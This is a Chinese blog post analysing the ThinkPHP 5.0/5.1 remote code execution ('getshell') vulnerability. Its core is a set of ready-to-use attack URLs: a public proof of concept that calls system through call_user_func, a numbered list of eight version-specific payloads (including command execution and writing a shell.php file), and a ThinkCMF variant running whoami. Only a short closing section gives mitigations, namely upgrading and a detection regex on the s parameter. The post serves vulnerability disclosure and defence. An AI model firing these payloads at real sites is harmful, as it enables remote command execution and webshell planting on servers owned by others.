Thinkphp5 getshell漏洞分析

Posted by Jaqen Blog on December 11, 2018

Thinkphp5 getshell漏洞分析

  • 通杀所有使用了thinkphp5.0和5.1
  • 实际上在不同使用thinkphp5开发的cms中getshell的参数会有差异

在thinkphp5 getshell poc

这是目前公开5.0.20的poc
/index.php?s=index/\think\app/invokefunction&function=call_user_func&var[0]=system&var[1][]=ls
图片0
调用过程如下
图片1
详情分析:https://www.anquanke.com/post/id/167653
另外可利用的index/\think\request/input
传入data=ls name= default= filter=system
图片2
通过call_user_func执行
图片3
并不局限于以上两个方法,但一定是think\这个命名空间下的已知类

thinkphp5不同版本的payload

  1. index.php?s=index/\think\Request/input&filter=phpinfo&data=1
  2. index.php?s=index/\think\Request/input&filter=system&data=id
  3. index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=
  4. index.php?s=index/\think\view\driver\Php/display&content=
  5. index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
  6. index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
  7. index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
  8. index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

    thinkcmf利用过程区别

    getshell poc
    /public/index.php?s=portal/\think\app/invokefunction&function=call_user_func&function_name=system&parameters=whoami
    图片4
    1.thinkcmf默认不存在index,这里我选用portal
    图片5
    2.参数差异,这里要使用function_name parameters

防护

1.代码本身就更新thinkphp5,或修改代码。
2.防护设备可以匹配s=.?/\\think\\.?来判定,解释下s参数是thinkphp5 var_pathinfo的默认配置为s,利用的类目前也都是在think\这个命名空间下的已知类。